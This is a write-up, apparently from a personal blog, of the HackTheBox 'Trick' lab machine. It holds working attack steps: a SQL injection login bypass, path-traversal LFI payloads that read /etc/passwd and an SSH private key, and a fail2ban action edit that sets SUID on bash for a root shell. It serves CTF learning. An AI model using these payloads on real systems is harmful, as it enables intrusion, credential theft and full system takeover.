HackTheBox – Trick Write-up

Hi everyone! This is a Linux machine where the initial access is very CTF-like thus is not to my liking. However, I like the privilege escalation method as it is not very common. The initial access requires us to enumerate DNS such as zone transfer to reveal the subdomain name. There are plenty of rabbit holes. We have to fuzz the subdomain name/sub-string to find out the other subdomain not shown by the DNS server. The vulnerable subdomain website is vulnerable to Local File Inclusion (LFI) which leaks the SSH private key as well as usernames available for initial access. Finally, fail2ban configuration vulnerability is found which allows us to privilege escalation.

1. Nmap enumeration

$ IP=10.10.11.166
$ sudo nmap -sC -sV -p- $IP
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
Service Info: Host:  debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

2. DNS enumeration

Since DNS is available, we can query it to find out the machine’s domain name. HackTricks have a good cheat sheet for DNS enumeration.

$ nslookup
> SERVER 10.10.11.166
Default server: 10.10.11.166
Address: 10.10.11.166#53
> 10.10.11.166
166.11.10.10.in-addr.arpa       name = trick.htb.

Since we have the domain, we can attempt to try zone transfer with the domain name set.

$ dig axfr @$IP trick.htb

; <<>> DiG 9.16.15-Debian <<>> axfr @10.10.11.166 trick.htb
; (1 server found)
;; global options: +cmd
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800

Zone transfer shows a subdomain name. We can now add it to our /etc/hosts file.

$ sudo nano /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali

10.10.11.166 trick.htb preprod-payroll.trick.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

3. Web enumeration

When I search http://preprod-payroll.trick.htb, it automatically redirects me to a login page.

3.1 Login page SQL injection vulnerability (Rabbit hole)

Input the following for both username and password to login.

' or 1=1--

We will be able to log in to the dashboard page.

If we try to do Local File Inclusion (LFI) on the URL with a PHP filter, we are able to leak the web files. However, files like /etc/passwd were not able to be leaked.

http://preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=index

We can dump the base64 text into the terminal and decode it but nothing is interesting in any of the files.

3.2 Directory fuzzing (Rabbit hole)

$ sudo apt install ffuf
$ sudo apt install seclists
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .txt,.php,.html -u http://preprod-payroll.trick.htb/FUZZ
login.php               [Status: 200, Size: 5571, Words: 374, Lines: 177]
index.php               [Status: 302, Size: 9546, Words: 1453, Lines: 267]
ajax.php                [Status: 200, Size: 0, Words: 1, Lines: 1]
home.php                [Status: 200, Size: 486, Words: 180, Lines: 27]
assets                  [Status: 301, Size: 185, Words: 6, Lines: 8]
database                [Status: 301, Size: 185, Words: 6, Lines: 8]
users.php               [Status: 200, Size: 2197, Words: 103, Lines: 81]
header.php              [Status: 200, Size: 2548, Words: 145, Lines: 46]
.                       [Status: 301, Size: 185, Words: 6, Lines: 8]
readme.txt              [Status: 200, Size: 149, Words: 5, Lines: 2]
employee.php            [Status: 200, Size: 2717, Words: 74, Lines: 96]
navbar.php              [Status: 200, Size: 1382, Words: 68, Lines: 24]
department.php          [Status: 200, Size: 4844, Words: 244, Lines: 179]
db_connect.php          [Status: 200, Size: 0, Words: 1, Lines: 1]
payroll.php             [Status: 200, Size: 3142, Words: 86, Lines: 111]
position.php            [Status: 200, Size: 5549, Words: 260, Lines: 196]
topbar.php              [Status: 200, Size: 585, Words: 73, Lines: 20]
attendance.php          [Status: 200, Size: 4688, Words: 152, Lines: 172]
site_settings.php       [Status: 200, Size: 2273, Words: 153, Lines: 85]

The site_settings.php looks interesting hence I decided to visit it which turned out to be something interesting. However, I tried to upload a PHP web shell or try out LFI/RFI, but nothing worked. The uploaded PHP file or image did not appear in http://trick.htb/assets/img/.

3.3 DNS fuzzing

Since the subdomain name looks interesting as “payroll” can be replaced with another word, we can consider fuzzing it. Firstly, we will need to figure out the non-existence subdomain query’s error response size. Then we fuzz for a subdomain.

$ curl -s -H "Host: nonexistence.trick.htb" http://trick.htb | wc -c
5480
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://trick.htb -H "Host: preprod-FUZZ.trick.htb" -fs 5480
...
marketing               [Status: 200, Size: 9660, Words: 3007, Lines: 179]

The result showed that there is another subdomain. Remember to add it into your /etc/hosts file.

127.0.0.1       localhost
127.0.1.1       kali

10.10.11.166 trick.htb preprod-payroll.trick.htb preprod-marketing.trick.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

3.4 Local File Inclusion (LFI)

Clicking on the Service tab at the bottom allows me to notice the URL allows us to test for LFI.

Trying LFI to read /etc/passwd file and it works.

http://preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd

3.5 Obtaining SSH private key

Using LFI, I attempted to search for the SSH private key.

view-source:http://preprod-marketing.trick.htb/index.php?page=....//....//....//home/michael/.ssh/id_rsa

We can download the SSH private key.

$ wget "http://preprod-marketing.trick.htb/index.php?page=....//....//....//home/michael/.ssh/id_rsa" -O id_rsa

3.6 Initial access and user.txt

Since we have the SSH private key, we can SSH into the machine with the key and obtain the flag.

$ chmod 600 id_rsa
$ ssh michael@$IP -i ./id_rsa
...
michael@trick:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  user.txt  Videos
michael@trick:~$ cat user.txt 
43******************************

4. Privilege escalation

4.1 Sudo privilege

We can see that the privilege escalation (PE) vector is most like dependent on fail2ban.

michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

4.2 Enumerate fail2ban services to misuse

We can use nano to view /etc/fail2ban/jail.conf. At the top few lines in the file, we can see the default number of maximum retries before the ban occurs. Below showed that 6 times is needed for the ban to occur.

# External command that will take an tagged arguments to ignore, e.g. <ip>,
# and return true if the IP is to be ignored. False otherwise.
#
# ignorecommand = /path/to/command <ip>
ignorecommand =

# "bantime" is the number of seconds that a host is banned.
bantime  = 10s

# A host is banned if it has generated "maxretry" during the last "findtime"
# seconds.
findtime  = 10s

# "maxretry" is the number of failures before a host get banned.
maxretry = 5

4.3 Automate SSH login fail

Install sshpass so that we can have passwords written in the command line to automate the login process.

$ sudo apt install sshpass

Once installed, we can create a bash script, login_script.sh. Remember to change the IP address for your victim’s machine.

#!/bin/bash

sshpass -p "gg" ssh michael@10.10.11.166
sshpass -p "gg" ssh michael@10.10.11.166
sshpass -p "gg" ssh michael@10.10.11.166
sshpass -p "gg" ssh michael@10.10.11.166
sshpass -p "gg" ssh michael@10.10.11.166
sshpass -p "gg" ssh michael@10.10.11.166

Change the permission of the script.

$ chmod +x login_script.sh

4.4 Fail2ban privilege escalation

When I looked at /etc/fail2ban/action.d/iptables-multiport.conf, Michael’s account does not have permission to write to it. However, it has write-access to the directory, /etc/fail2ban/action.d/. Thus, we can move the file away and make a new copy of the file which is owned by Michael’s account. Do this process fast. Otherwise, the machine as a script to reset the configuration file to prevent spoilers for others.

michael@trick:~$ ls -l /etc/fail2ban/action.d/iptables-multiport.conf
-rw-r--r-- 1 root root 1420 Sep 17 08:45 /etc/fail2ban/action.d/iptables-multiport.conf
michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
michael@trick:~$ find / -group security 2>/dev/null 
/etc/fail2ban/action.d
michael@trick:~$ mv /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.bak
michael@trick:~$ cp /etc/fail2ban/action.d/iptables-multiport.bak /etc/fail2ban/action.d/iptables-multiport.conf
michael@trick:~$ ls -l /etc/fail2ban/action.d/iptables-multiport.conf 
-rw-r--r-- 1 michael michael 1420 Sep 17 08:51 /etc/fail2ban/action.d/iptables-multiport.conf

Edit the /etc/fail2ban/action.d/iptables-multiport.conf file using nano where we will replace actionban and actionunban‘s variables with a command to make bash SUID.

$ nano /etc/fail2ban/action.d/iptables-multiport.conf
# Values:  CMD
#
actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'

# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
#actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
actionban = chmod +s /bin/bash  

# Option:  actionunban
# Notes.:  command executed when unbanning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
#actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype>
actionunban = chmod +s /bin/bash

[Init]

Once the change has been made, we can restart the service.

michael@trick:~$ sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.
michael@trick:~$ 

We can now run our script to fail to log in via SSH 6 times.

$ ./login_script.sh
Permission denied, please try again.
Permission denied, please try again.
Permission denied, please try again.
Permission denied, please try again.
Permission denied, please try again.
Permission denied, please try again.

Once the script finished executing, we can check and ensure the SUID bit for bash is set.

michael@trick:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash

4.5 Root shell and root.txt

michael@trick:~$ bash -p
bash-5.0# id
uid=1001(michael) gid=1001(michael) euid=0(root) egid=0(root) groups=0(root),1001(michael),1002(security)
bash-5.0# cd /root
bash-5.0# ls
f2b.sh  fail2ban  root.txt  set_dns.sh
bash-5.0# cat root.txt
cd******************************

I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.